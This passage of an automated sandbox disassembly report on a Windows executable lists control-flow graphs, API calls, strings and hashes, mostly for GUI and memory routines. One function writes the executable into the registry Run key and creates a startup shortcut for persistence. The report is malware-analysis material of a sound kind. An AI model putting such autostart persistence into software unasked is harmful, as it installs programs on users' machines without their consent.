512->498 513->512 522 493b8d-493b90 516->522 523 493b92-493b99 516->523 517->516 519 493b1d-493b25 517->519 519->516 521 493b27-493b2b 519->521 521->516 524 493b2d-493b42 call 49358d 521->524 522->523 523->500 524->516 527 493b44-493b68 call 49384f GetWindowLongA 524->527 527->523 531 493b6a-493b76 SetWindowLongA 527->531 531->522
          APIs
            • Part of subcall function 0049B84D: TlsGetValue.KERNEL32(004FCF74,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000,?,0048F893,00000000,00000000,00000000,00000000), ref: 0049B88C
          • CallNextHookEx.USER32(?,00000003,?,?), ref: 00493A5A
          • GetClassLongA.USER32(?,000000E6), ref: 00493AA1
          • GlobalGetAtomNameA.KERNEL32(?,?,00000005,?,?,?,Function_0009ABD3), ref: 00493ACD
          • lstrcmpiA.KERNEL32(?,ime), ref: 00493ADC
          • GetWindowLongA.USER32(?,000000FC), ref: 00493B4F
          • SetWindowLongA.USER32(?,000000FC,00000000), ref: 00493B70
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Long$Window$AtomCallClassGlobalHookNameNextValuelstrcmpi
          • String ID: AfxOldWndProc423$ime
          • API String ID: 3731301195-104836986
          • Opcode ID: 9f976e18083841eb6061ec41fb680f0d96b3b5bcbf9efd2d6821ab4ad73ca05e
          • Instruction ID: 462a471cc652b52d5b25c1def1877f4583283e2a95154acbd18954aafacab974
          • Opcode Fuzzy Hash: 9f976e18083841eb6061ec41fb680f0d96b3b5bcbf9efd2d6821ab4ad73ca05e
          • Instruction Fuzzy Hash: A7518335904215AFCF119F64CC48B6B7FA9FB06366F104536F916A72A1D738EE00CB98

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 532 40ef70-40efc0 call 498883 call 498434 IsRectEmpty 537 40efc6-40efe0 GetClientRect 532->537 538 40f54d-40f579 call 4988f5 532->538 539 40f0d4-40f137 IntersectRect CreateRectRgn call 4989c3 call 498444 537->539 540 40efe6-40efe9 537->540 554 40f1a6-40f1ac 539->554 555 40f139-40f13f 539->555 540->539 544 40efef-40eff9 540->544 546 40f004-40f00c 544->546 547 40effb-40efff 544->547 548 40f013-40f01b 546->548 549 40f00e-40f012 546->549 547->546 551 40f022-40f025 548->551 552 40f01d-40f021 548->552 549->548 551->539 556 40f02b-40f07b call 428730 call 429800 551->556 552->551 557 40f1b2-40f1bf 554->557 558 40f287-40f292 554->558 559 40f141-40f14c 555->559 560 40f16d-40f1a1 call 40aaf0 call 40f620 555->560 590 40f093-40f0cf call 409f30 * 2 556->590 591 40f07d-40f08d InflateRect 556->591 562 40f1c1-40f1c5 557->562 563 40f1ca-40f1d5 557->563 564 40f294-40f298 558->564 565 40f2eb-40f304 call 494123 558->565 566 40f152 559->566 567 40f14e-40f150 559->567 560->558 562->563 571 40f1d7-40f1db 563->571 572 40f1dc-40f1e7 563->572 564->565 573 40f29a-40f2b2 call 40aaf0 call 498a80 564->573 578 40f309-40f310 565->578 574 40f155-40f164 call 42a120 566->574 567->574 571->572 579 40f1e9-40f1ed 572->579 580 40f1ee-40f1f1 572->580 607 40f2b4-40f2b6 573->607 608 40f2b8 573->608 574->560 596 40f166-40f168 call 409f30 574->596 585 40f312-40f32f call 491d7c 578->585 586 40f334-40f363 GetCurrentObject call 4989ae 578->586 579->580 580->558 588 40f1f7-40f23b call 428730 call 4295d0 580->588 604 40f544-40f548 call 498a1a 585->604 605 40f392-40f398 call 497fdb 586->605 606 40f365-40f367 586->606 620 40f246-40f282 call 409f30 * 2 588->620 621 40f23d-40f241 call 498a1a 588->621 590->539 591->590 596->560 604->538 617 40f39d-40f3ab 605->617 612 40f369-40f36b 606->612 613 40f36d 606->613 615 40f2bb-40f2e6 FillRgn call 498a1a 607->615 608->615 618 40f370-40f380 call 40ab10 612->618 613->618 615->565 624 40f3b4-40f3b7 617->624 625 40f3ad-40f3b2 617->625 618->605 634 40f382-40f390 call 498017 618->634 620->558 621->620 628 40f3be-40f3c5 624->628 629 40f3b9 624->629 625->628 632 40f3c7-40f3ca 628->632 633 40f3cc-40f3d5 628->633 629->628 636 40f3e9-40f3fa call 4980f3 632->636 637 40f3d7-40f3da 633->637 638 40f3dc-40f3df 633->638 634->617 644 40f438-40f43b 636->644 645 40f3fc-40f433 call 4981ab OffsetRect 636->645 637->636 641 40f3e1-40f3e4 638->641 642 40f3e6 638->642 641->636 642->636 647 40f488-40f48b 644->647 648 40f43d-40f486 call 4981ab OffsetRect 644->648 651 40f4e1-40f53c call 4981ab call 498017 call 498a1a call 491d7c 645->651 647->651 652 40f48d-40f4d0 call 4981ab OffsetRect 647->652 658 40f4d3-40f4da 648->658 651->604 652->658 658->651
          APIs
            • Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
            • Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1
            • Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B
          • IsRectEmpty.USER32(?), ref: 0040EFB7
          • GetClientRect.USER32(?,?), ref: 0040EFCF
          • InflateRect.USER32(?,?,?), ref: 0040F08D
          • IntersectRect.USER32(?,?,?), ref: 0040F0F7
          • CreateRectRgn.GDI32(?,?,?,?), ref: 0040F111
          • FillRgn.GDI32(?,?,?), ref: 0040F2D0
          • GetCurrentObject.GDI32(?,00000006), ref: 0040F34F
            • Part of subcall function 00497FDB: GetStockObject.GDI32(?), ref: 00497FE4
            • Part of subcall function 00497FDB: SelectObject.GDI32(0040B5D5,00000000), ref: 00497FFE
            • Part of subcall function 00497FDB: SelectObject.GDI32(0040B5D5,00000000), ref: 00498009
          • OffsetRect.USER32(?,00000001,00000001), ref: 0040F42D
          • OffsetRect.USER32(?,00000002,00000002), ref: 0040F4C1
          • OffsetRect.USER32(?,00000001,00000001), ref: 0040F474
            • Part of subcall function 004981AB: SetTextColor.GDI32(?,?), ref: 004981C5
            • Part of subcall function 004981AB: SetTextColor.GDI32(?,?), ref: 004981D3
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Object$Offset$ColorSelectText$BeginClientClipCreateCurrentEmptyFillH_prologInflateIntersectPaintStock
          • String ID: 8\J$D\J$\[J
          • API String ID: 4264835570-813531876
          • Opcode ID: 27e0b2332360c631f7005801a8921f4df6a1892098c80c11fa69dbb09aaa1d95
          • Instruction ID: eac9f845d124f7b1b0daac03329850b2797bb790b37fb4fc024918d81bbd4494
          • Opcode Fuzzy Hash: 27e0b2332360c631f7005801a8921f4df6a1892098c80c11fa69dbb09aaa1d95
          • Instruction Fuzzy Hash: D20277711087809FC324DF65C884AABB7E9BBD9304F00493EF59697291DB78E949CB26

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 667 421740-42175a call 4936bf 670 4219a2-4219a9 667->670 671 421760-42176b 667->671 672 421891-42189c IsWindow 671->672 673 421771-421777 671->673 672->670 675 4218a2-4218b1 KiUserCallbackDispatcher IsWindow 672->675 673->672 674 42177d-421783 673->674 674->672 676 421789-421798 GetParent call 493758 674->676 675->670 677 4218b7-4218bb 675->677 676->672 685 42179e-4217a4 676->685 679 421912-421966 call 41bc90 IsWindow 677->679 680 4218bd-4218c3 677->680 679->670 688 421968-42196e 679->688 680->679 683 4218c5-42190c call 41bc90 IsWindow 680->683 683->670 683->679 685->672 689 4217aa-4217b3 call 496156 685->689 688->670 690 421970-421974 688->690 689->672 695 4217b9-4217bf 689->695 690->670 692 421976-421980 GetFocus 690->692 692->670 694 421982-42198b IsWindow 692->694 694->670 696 42198d-42199a IsChild 694->696 695->672 697 4217c5-4217d7 call 41bc90 695->697 696->670 699 42199c 696->699 701 4217dd-4217f5 call 416b30 697->701 699->670 701->672 704 4217fb-421825 call 416670 call 40a780 * 2 701->704 711 421827-421833 IsWindow 704->711 712 4217d9 704->712 711->712 713 421835-42183a 711->713 712->701 713->712 714 42183c-421843 713->714 714->712 715 421845-421854 GetParent call 493758 714->715 715->712 718 421856-421862 IsWindowVisible 715->718 718->712 719 421868-421871 call 496156 718->719 719->712 722 421877-42188e SetActiveWindow call 493758 719->722
          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$Parent$ActiveCallbackChildDispatcherEnabledFocusUserVisible
          • String ID:
          • API String ID: 416498738-0
          • Opcode ID: 10c517ffd02ed73c770e795cac11fca97b39e45f7f40a4bf67a61aafb82d8e45
          • Instruction ID: bc6ba6261873021323483f4a506fbac46018b040a941d5a7d8b2714222e1b4c6
          • Opcode Fuzzy Hash: 10c517ffd02ed73c770e795cac11fca97b39e45f7f40a4bf67a61aafb82d8e45
          • Instruction Fuzzy Hash: 9951A5B5B04315AFD7249F62E840A6BBBA8FF95341F50452FE54593320DB38E844CBA9

          Control-flow Graph

          APIs
          • __EH_prolog.LIBCMT ref: 0049385A
          • GetPropA.USER32(?,AfxOldWndProc423), ref: 00493872
          • CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 004938D0
            • Part of subcall function 0049343D: GetWindowRect.USER32(?,?), ref: 00493462
            • Part of subcall function 0049343D: GetWindow.USER32(?,00000004), ref: 0049347F
          • SetWindowLongA.USER32(?,000000FC,?), ref: 00493900
          • RemovePropA.USER32(?,AfxOldWndProc423), ref: 00493908
          • GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 0049390F
          • GlobalDeleteAtom.KERNEL32(00000000), ref: 00493916
            • Part of subcall function 0049341A: GetWindowRect.USER32(?,?), ref: 00493426
          • CallWindowProcA.USER32(?,?,?,?,00000000), ref: 0049396A
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prologLongRemove
          • String ID: AfxOldWndProc423
          • API String ID: 2397448395-1060338832
          • Opcode ID: aa870ce05a2cbd5f9f7f602e2d30605e3a8a1fe425f08cefae578fca20f76cee
          • Instruction ID: 637ae8be0a56655b85a7669c18f1beb3b2bf6095b39ba5bf1a9ef8c933c8ebae
          • Opcode Fuzzy Hash: aa870ce05a2cbd5f9f7f602e2d30605e3a8a1fe425f08cefae578fca20f76cee
          • Instruction Fuzzy Hash: D231647280011ABBCF11AFE5DD49EBF7FB8EF47356F00412AF601A1161C7798A119BA9

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 960 49b4e6-49b503 EnterCriticalSection 961 49b512-49b517 960->961 962 49b505-49b50c 960->962 964 49b519-49b51c 961->964 965 49b534-49b53d 961->965 962->961 963 49b5cb-49b5ce 962->963 968 49b5d0-49b5d3 963->968 969 49b5d6-49b5f7 LeaveCriticalSection 963->969 970 49b51f-49b522 964->970 966 49b53f-49b550 GlobalAlloc 965->966 967 49b552-49b56e GlobalHandle GlobalUnlock GlobalReAlloc 965->967 971 49b574-49b580 966->971 967->971 968->969 972 49b52c-49b52e 970->972 973 49b524-49b52a 970->973 974 49b59d-49b5ca GlobalLock call 4840b0 971->974 975 49b582-49b598 GlobalHandle GlobalLock LeaveCriticalSection call 48fec4 971->975 972->963 972->965 973->970 973->972 974->963 975->974
          APIs
          • EnterCriticalSection.KERNEL32(004FCF90,004FCF64,00000000,?,004FCF74,004FCF74,0049B881,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000), ref: 0049B4F5
          • GlobalAlloc.KERNEL32(00002002,00000000,?,?,004FCF74,004FCF74,0049B881,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000), ref: 0049B54A
          • GlobalHandle.KERNEL32(006C2DD0), ref: 0049B553
          • GlobalUnlock.KERNEL32(00000000), ref: 0049B55C
          • GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 0049B56E
          • GlobalHandle.KERNEL32(006C2DD0), ref: 0049B585
          • GlobalLock.KERNEL32(00000000), ref: 0049B58C
          • LeaveCriticalSection.KERNEL32(004808BA,?,?,004FCF74,004FCF74,0049B881,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000), ref: 0049B592
          • GlobalLock.KERNEL32(00000000), ref: 0049B5A1
          • LeaveCriticalSection.KERNEL32(?), ref: 0049B5EA
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
          • String ID:
          • API String ID: 2667261700-0
          • Opcode ID: c2a6f69e976d0d467f708f78af385e05667117893da46af0bf00ca8351c0797f
          • Instruction ID: 0281eec49cee178926613d4a6145588ab9de7329ccd79c4859c094db3bb569fa
          • Opcode Fuzzy Hash: c2a6f69e976d0d467f708f78af385e05667117893da46af0bf00ca8351c0797f
          • Instruction Fuzzy Hash: A831B675200305AFDB209F24EC89A2ABBE9FF84318F014A3EF452D3661E775E9148B54

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 979 40b430-40b463 call 491abd 982 40b470 979->982 983 40b465-40b46e call 40c840 979->983 985 40b472-40b47c 982->985 983->985 986 40b49d-40b4af 985->986 987 40b47e-40b492 call 40a980 985->987 991 40b4b2-40b4df 987->991 992 40b494-40b498 987->992 993 40b4e1 991->993 994 40b4e7-40b4eb 991->994 992->986 993->994 995 40b527 994->995 996 40b4ed-40b4f9 994->996 997 40b52d-40b533 995->997 998 40b500 996->998 999 40b4fb-40b4fe 996->999 1000 40b543-40b547 997->1000 1001 40b535-40b536 997->1001 1002 40b506-40b507 998->1002 999->998 999->1002 1005 40b551 1000->1005 1006 40b549-40b54a 1000->1006 1003 40b540 1001->1003 1004 40b538-40b539 1001->1004 1007 40b509-40b50a 1002->1007 1008 40b51f-40b525 1002->1008 1003->1000 1004->1000 1009 40b53b-40b53e 1004->1009 1010 40b557-40b55e 1005->1010 1006->1010 1011 40b54c-40b54f 1006->1011 1012 40b517-40b51d 1007->1012 1013 40b50c-40b50d 1007->1013 1008->997 1009->1000 1014 40b560-40b561 1010->1014 1015 40b568 1010->1015 1011->1010 1012->997 1013->997 1016 40b50f-40b515 1013->1016 1017 40b56b-40b5c8 call 40aaf0 CreateSolidBrush call 4989c3 call 493cb4 1014->1017 1018 40b563-40b566 1014->1018 1015->1017 1016->997 1017->986 1025 40b5ce-40b5da call 40b770 1017->1025 1018->1017 1028 40b5f2-40b60f SendMessageA 1025->1028 1029 40b5dc-40b5ed call 4960e0 1025->1029 1031 40b611-40b621 SendMessageA 1028->1031 1032 40b623-40b628 1028->1032 1029->1028 1031->1032 1033 40b62e-40b636 1032->1033 1034 40b70f-40b75a SendMessageA * 2 call 40aa70 1032->1034 1033->1034 1035 40b63c-40b643 1033->1035 1037 40b645-40b648 1035->1037 1038 40b64f 1035->1038 1037->1038 1040 40b64a-40b64d 1037->1040 1041 40b654-40b68e call 495bae call 493cb4 1038->1041 1040->1038 1040->1041 1046 40b690-40b696 1041->1046 1047 40b698-40b6c2 1041->1047 1048 40b709 1046->1048 1049 40b6c4 1047->1049 1050 40b6c6-40b6c8 1047->1050 1048->1034 1049->1050 1051 40b6ca 1050->1051 1052 40b6cc-40b6f7 SendMessageA 1050->1052 1051->1052 1053 40b702-40b704 call 40d6d0 1052->1053 1054 40b6f9-40b6fd call 496171 1052->1054 1053->1048 1054->1053
          APIs
          • CreateSolidBrush.GDI32(00000000), ref: 0040B578
          • SendMessageA.USER32(?,000000C5,?,00000000), ref: 0040B609
          • SendMessageA.USER32(?,000000CC,?,00000000), ref: 0040B621
          • SendMessageA.USER32(?,00000465,00000000,?), ref: 0040B6EB
          • SendMessageA.USER32(?,000000B1,?,?), ref: 0040B728
          • SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0040B737
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$BrushCreateSolid
          • String ID: EDIT$msctls_updown32
          • API String ID: 943060551-1401569126
          • Opcode ID: f01f057c38e4c3662e9d9c6e1b91cf1c519af47232b94798e7e35666b1414fb7
          • Instruction ID: 289182221331311f3440c644398dfbde256b7816bd5787c5197fd01c1a70aaac
          • Opcode Fuzzy Hash: f01f057c38e4c3662e9d9c6e1b91cf1c519af47232b94798e7e35666b1414fb7
          • Instruction Fuzzy Hash: F2919071604B00ABE724DB28CC55F6BB6E5EB84704F10492EE696A73D0DB78EC058B9D

          Control-flow Graph

          APIs
            • Part of subcall function 004801E0: lstrcpyA.KERNEL32(-0000002C,?,?,?,?,00468DB7), ref: 0048020E
            • Part of subcall function 004801E0: FindFirstFileA.KERNEL32(?,?,?,00468DB7), ref: 00480218
            • Part of subcall function 004801E0: GetLastError.KERNEL32(?,00468DB7), ref: 00480226
            • Part of subcall function 004801E0: SetLastError.KERNEL32(0000007B,000000FF), ref: 00480271
          • RegOpenKeyA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Run,00000000), ref: 00468E2E
          • RegSetValueExA.KERNEL32(?,00000002,00000000,00000001,?,?), ref: 00468E51
          • RegCloseKey.ADVAPI32(00000000), ref: 00468E60
          • RegCloseKey.ADVAPI32(00000000), ref: 00468EA7
            • Part of subcall function 0048015A: __EH_prolog.LIBCMT ref: 0048015F
            • Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90
          Strings
          • Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00468E24
          • %s\%s.lnk, xrefs: 00468F0B
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CloseErrorLast$DecrementFileFindFirstH_prologInterlockedOpenValuelstrcpy
          • String ID: %s\%s.lnk$Software\Microsoft\Windows\CurrentVersion\Run
          • API String ID: 723761139-2596592962
          • Opcode ID: fdaecba3022513ecc9c89c1a2e5063fa84db0f603fea39efcd8c9a303d61bbcc
          • Instruction ID: c6ff8740ad1dfb5075c7583ac0aa7bd175429d882b917291de11db4c67ff5486
          • Opcode Fuzzy Hash: fdaecba3022513ecc9c89c1a2e5063fa84db0f603fea39efcd8c9a303d61bbcc
          • Instruction Fuzzy Hash: 55519D71218381ABD364EB60CC49FAFB7A8ABD4714F100A1EF5A596291EF399408C727

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 1106 41e3e0-41e415 call 491abd 1109 41e422 1106->1109 1110 41e417-41e420 call 41f860 1106->1110 1112 41e424-41e42e 1109->1112 1110->1112 1114 41e430-41e432 1112->1114 1115 41e437-41e44b call 40a980 1112->1115 1116 41e758-41e76a 1114->1116 1119 41e45d-41e492 1115->1119 1120 41e44d-41e458 1115->1120 1121 41e494-41e4a1 1119->1121 1122 41e4dd-41e4e1 1119->1122 1120->1116 1124 41e4a3-41e4a6 1121->1124 1125 41e4a8-41e4bb 1121->1125 1126 41e4e6-41e4ea 1122->1126 1124->1125 1127 41e4c5-41e4cb 1124->1127 1125->1127 1128 41e4bd 1125->1128 1129 41e520-41e523 1126->1129 1130 41e4ec 1126->1130 1133 41e4d7-41e4db 1127->1133 1134 41e4cd-41e4d5 1127->1134 1128->1127 1131 41e525 1129->1131 1132 41e52d-41e530 1129->1132 1130->1129 1135 41e4f3-41e4fb 1130->1135 1136 41e505-41e50b 1130->1136 1137 41e515-41e519 1130->1137 1138 41e4fd 1130->1138 1139 41e50d 1130->1139 1131->1132 1141 41e532 1132->1141 1142 41e53a-41e548 1132->1142 1133->1126 1134->1126 1135->1129 1140 41e51c 1136->1140 1137->1140 1138->1136 1139->1137 1140->1129 1141->1142 1143 41e54a-41e54e 1142->1143 1144 41e59e-41e5af 1142->1144 1145 